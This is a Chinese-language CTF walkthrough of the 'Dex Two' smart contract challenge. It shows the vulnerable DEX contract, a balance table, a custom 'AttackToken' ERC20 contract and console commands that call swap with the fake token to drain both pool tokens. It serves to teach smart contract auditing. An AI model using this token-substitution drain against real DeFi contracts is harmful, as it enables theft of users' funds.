Dex Two
题目源码
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import '@openzeppelin/contracts/math/SafeMath.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
contract DexTwo is Ownable {
using SafeMath for uint;
address public token1;
address public token2;
constructor() public {}
function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}
function add_liquidity(address token_address, uint amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}
function swap(address from, address to, uint amount) public {
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swapAmount = getSwapAmount(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}
function getSwapAmount(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}
function approve(address spender, uint amount) public {
SwappableTokenTwo(token1).approve(msg.sender, spender, amount);
SwappableTokenTwo(token2).approve(msg.sender, spender, amount);
}
function balanceOf(address token, address account) public view returns (uint){
return IERC20(token).balanceOf(account);
}
}
contract SwappableTokenTwo is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint initialSupply) public ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}
function approve(address owner, address spender, uint256 amount) public returns(bool){
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}
题目要求
题目要求将合约里的两个 token 数量全部取出,允许自己发行自定义 token
题目分析
swap
方法中并没有限制必须使用合约初始化提供的两个 token。那么我们可以自己发一个 token,根据价格计算公式将合约中的两个 Token 通过swap
方法取出。
根据计算公式可以得到以下兑换步骤.设token3
是我们自己发行的 token
token1 | token2 | token3 | ||
---|---|---|---|---|
initialize | pool | 100 | 100 | 1 |
player | 10 | 10 | 3 | |
token3->token1: 1 | pool | 0 | 100 | 2 |
player | 100 | 10 | 2 | |
token3->token2: 2 | pool | 0 | 0 | 4 |
player | 100 | 100 | 0 |
主要是利用价格计算公式
function getSwapAmount(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}
攻击步骤
- 发行自定义
token
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.0.0/contracts/token/ERC20/ERC20.sol";
contract AttackToken is ERC20("AttackToken","AT") {
constructor() public {
_mint(msg.sender,4);
}
}
部署后得到地址: 0x6D9aA453423De833D878afE33CF0031046f50267
给题目实例地址转账 1 个自己发行的token
(注意,要只转 1 个,否则下面的兑换数量就需要调整)
- 调用自己发行
token
的approve
方法,授权题目合约可以转账自己发行的token
。授权数量只要大于 3 即可 - 通过以下步骤调用题目实例合约
// 定义token变量
const token1 = await contract.token1()
const token2 = await contract.token2()
const token3 = "0x6D9aA453423De833D878afE33CF0031046f50267"
// 分别调用swap方法
await contract.swap(token3,token1,1) // 调用完以后池子里token3的数量为2,所以下次调用需要用两个token2来兑换token2
await contract.swap(token3,token2,2)
// 分别查看执行完池子中token1和token2的数量
(await contract.balanceOf(token1,instance)).toString() => 0
(await contract.balanceOf(token2,instance)).toString() => 0